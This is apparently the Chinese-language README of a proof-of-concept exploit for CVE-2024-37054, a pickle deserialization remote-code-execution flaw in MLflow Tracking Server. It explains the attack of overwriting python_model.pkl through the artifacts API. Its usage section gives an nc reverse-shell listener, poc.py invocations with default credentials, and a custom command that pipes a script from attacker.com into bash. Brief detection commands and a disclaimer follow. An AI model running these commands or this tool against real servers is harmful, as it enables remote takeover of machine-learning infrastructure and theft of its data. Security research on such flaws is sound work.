
CVE-2024-37054 的概念验证漏洞利用,这是 MLflow Tracking Server 中的 pickle 反序列化远程代码执行漏洞。经过身份验证的攻击者可以覆盖模型工件以实现远程代码执行。包含检测和缓解指南。
针对 MLflow Tracking Server 中一个严重的 pickle 反序列化漏洞的概念验证利用,可实现已认证远程代码执行。
⚠️ 仅用于教育和授权安全测试。请勿对不属于您或未经您明确书面授权的系统使用。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2024-37054 |
| CVSS 评分 | 8.8(高危) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 受影响版本 | MLflow < 2.14.3 |
| 修复版本 | MLflow ≥ 2.14.3 |
| 漏洞类型 | CWE-502:不可信数据反序列化 |
| 攻击向量 | 网络 |
| 所需权限 | 低(有效凭据) |
| 用户交互 | 无 |
MLflow Tracking Server 在加载模型进行推理时,通过 Python 的 pickle 模块反序列化模型工件。已认证攻击者可以将恶意 pickle 有效负载覆盖 MLflow 工件仓库中的 python_model.pkl 工件。当后续加载模型时(例如在预测请求期间),该有效负载被反序列化,从而在服务器上执行任意代码。
利用的前提条件:
成功利用可实现远程代码执行,权限与 MLflow 服务器进程相同,可能导致系统完全受控、数据泄露、横向移动或持久化访问。
PUT /api/2.0/mlflow-artifacts/artifacts/... 将 python_model.pkl 工件替换为精心构造的 pickle 有效负载。pickle.load()。__reduce__ 方法调用 os.system(),执行攻击者命令。该有效负载使用 os.system()(C 语言内建函数)而非 cloudpickle,以最大化跨版本兼容性并避免 Python 版本特定的字节码问题。
需求: Python 3.7+、requests
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054
# 启动监听
nc -lvnp 4444
# 运行利用程序
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>
# 默认凭据,基础反向 Shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444
# 自定义 MLflow 凭据
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:MySecretPass123
# 应用登录 + MLflow 凭据
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:password \
--app-username admin \
--app-password admin123
# 自定义命令(非反向 Shell)
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--cmd "curl http://attacker.com/shell.sh | bash"
# 指定实验 ID,为慢速服务器增加延迟
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--experiment-id 1 --delay 5
# 详细输出
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v
/api/2.0/mlflow-artifacts/artifacts/ 端点的 PUT 请求python_model.pkl 出现意外的修改时间戳POST /api/2.0/mlflow/runs/search 后紧跟工件修改os.system() 调用# 访问日志中的工件修改
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log
# 文件完整性监控
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts
立即:
长期:
此工具仅适用于:
请勿对不属于您或未经您明确书面授权的任何系统使用此工具。作者对滥用行为不承担任何责任。
MIT — 详细信息见 LICENSE 文件。
| 参数 | 描述 |
|---|
target | 目标应用 URL |
mlflow | MLflow Tracking Server URL |
lhost | 攻击者主机(用于反向 Shell 回调) |
lport | 攻击者端口(用于反向 Shell 回调) |
--mlflow-creds USER:PASS | MLflow 凭据(默认:admin:password) |
--app-username | 应用登录用户名 |
--app-password | 应用登录密码 |
--app-login-url | 登录端点路径 |
--upload-url | 上传端点路径 |
--predict-url | 预测端点路径 |
--experiment-id ID | 指定目标实验 ID |
--delay SECONDS | 步骤间延迟(默认:2 秒) |
--cmd COMMAND | 要执行的自定义命令 |
--verbose / --quiet | 输出详细程度控制 |
--no-color | 禁用彩色输出 |